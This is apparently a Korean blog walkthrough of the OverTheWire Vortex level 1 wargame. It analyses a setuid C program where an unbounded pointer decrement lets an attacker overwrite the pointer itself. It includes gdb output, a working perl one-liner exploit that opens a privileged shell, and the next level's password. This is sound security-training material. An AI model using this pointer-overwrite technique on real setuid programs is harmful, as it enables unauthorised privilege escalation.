본문 바로가기

wargame/vortex

vortex1

Putty를 이용해 vortex0에서 얻은 계정을 가지고 vortex.labs.overthewire.org에 ssh로 접속한다.

일단 타겟의 위치는 /games/vortex/vortex1이고 해당 소스코드는 홈페이지의 해당 문제 페이지에 있다.


#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <stdio.h>

 

 

#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

 

void print(unsigned char *buf, int len)

{

        int i;

 

        printf("[ ");

        for(i=0; i < len; i++) printf("%x ", buf[i]);

        printf(" ]\n");

}

 

int main()

{

        unsigned char buf[512];

        unsigned char *ptr = buf + (sizeof(buf)/2);

        unsigned int x;

 

        while((x = getchar()) != EOF) {

                switch(x) {

                        case '\n': print(buf, sizeof(buf)); continue; break;

                        case '\\': ptr--; break;

                        default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;

                }

        }

        printf("All done\n");

}



일단 가장 눈에띄는 공략법은 #define 구문에 execlp를 실행시키면 쉘이 따와질것이다.

하지만 쉘이 따와질려면 ptr의 상위 2바이트 값이 0xCA가 되어야 한다.

 

lob를 풀때는 스택의 값이 보통 0xbf로 시작하고 0xc0부터는 커널영역이라서 걱정을 했다. 어차피 ptr이 buf의 문자열 끝의 주소보다 커질수는 없기에 고민하고있엇다. 

일단 ptr의 값부터 먼저 확인해 봐야 될꺼 같다.



vortex1@melinda:/games/vortex$ gdb -q vortex1

Reading symbols from /games/vortex/vortex1...(no debugging symbols found)...done.

(gdb) b main

Breakpoint 1 at 0x804857c

(gdb) b main

Note: breakpoint 1 also set at pc 0x804857c.

Breakpoint 2 at 0x804857c

(gdb) r

Starting program: /games/vortex/vortex1


Breakpoint 1, 0x0804857c in main ()

(gdb) info reg

eax            0x1      1

ecx            0xffffd7c4       -10300

edx            0xffffd754       -10412

ebx            0xf7fceff4       -134418444

esp            0xffffd720       0xffffd720

ebp            0xffffd728       0xffffd728

esi            0x0      0

edi            0x0      0

eip            0x804857c        0x804857c <main+5>

eflags         0x246    [ PF ZF IF ]

cs             0x23     35

ss             0x2b     43

ds             0x2b     43

es             0x2b     43

fs             0x0      0

gs             0x63     99

(gdb)


디버깅 해본 결과, esp가 0xff로 시작햇다.

그렇다면 2가지를 생각해볼수 있는데, 

1.'\\'을 엄청나게 주어서 ptr을 0xca로 내리는방법


2.ptr이 buf보다 낮은주소에 위치해있으므로, ptr의 값을 직접 바꿔주는 방법.


그럼 이 2가지로 풀이해 보겟다.



1번쨰 방법

0xff를 0xca로 바꿔야 하는데 그럼 '\\'을 몇번 입력해줘야하는지 계산해보자.


대략적으로


0xff000000 - 0xca000000 = 889192448 이라는 엄청나게 큰 숫자이다...

한번 시도 해 보자.


vortex1@melinda:/games/vortex$ (perl -e 'print "\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"x8891924,"a"';cat)|./vortex1

Out of memory!


시도해보면, 다음과같이 oom에러를 보이는데, 이는 입력값을 전달할 임시버퍼의 부족으로 보인다.


한번 파일로 만들어서 해결해보자.


이후에작성..



2번째 방법

2번이 가능한이유는 ptr++는 제한이 있지만(buf의 끝주소까지) ptr--는 제한이 없다. 



메인함수의 일부분을 디스어셈해서 보면

   0x08048594 <+29>:    lea    eax,[esp+0x1c]

   0x08048598 <+33>:    add    eax,0x100

   0x0804859d <+38>:    mov    DWORD PTR [esp+0x14],eax



이와같이 buf보다 ptr이 낮은주소에 위치해있기 때문이며, 주소로 계산해 보았을때, ptr의 첫번째 바이트는 


(esp + 0x1c) + 0x100 - (esp + 0x14) = 8 + 256 = 264


즉, ptr을 264번 --시키면 ptr이 ptr의 맨처음 바이트를 가르키게 된다. 하지만 리틀인디언을 고려해서, 맨마지막 바이트를 변경해야 함으로, 261번만 -- 시켜서 0xca를 덮어씌어주면 된다. 그리고 한번더 다른문자를 입력해줘야 e()가 실행된다.


여기서 주의사항은 ptr의 값을 1바이트씩 변경하는것이기때문에, 뒤에서부터 다 덮어씌어주려고 시도한다면, ptr이 중간에서 변형되기때문에 원하는 결과를 얻을수 없다는 점이다.



sol)

vortex1@melinda:/games/vortex$ (perl -e 'print "\x5c"x261,"\xca","a"';cat)|./vortex1


id

uid=5002(vortex2) gid=5001(vortex1) groups=5002(vortex2),5001(vortex1)

cat /etc/vortex_pass/vortex2

23anbT\rE



'wargame > vortex' 카테고리의 다른 글

vortex5  (0) 2014.06.08
vortex4  (0) 2014.05.25
vortex3  (0) 2014.05.21
vortex2  (0) 2014.05.21
vortex0  (0) 2014.04.25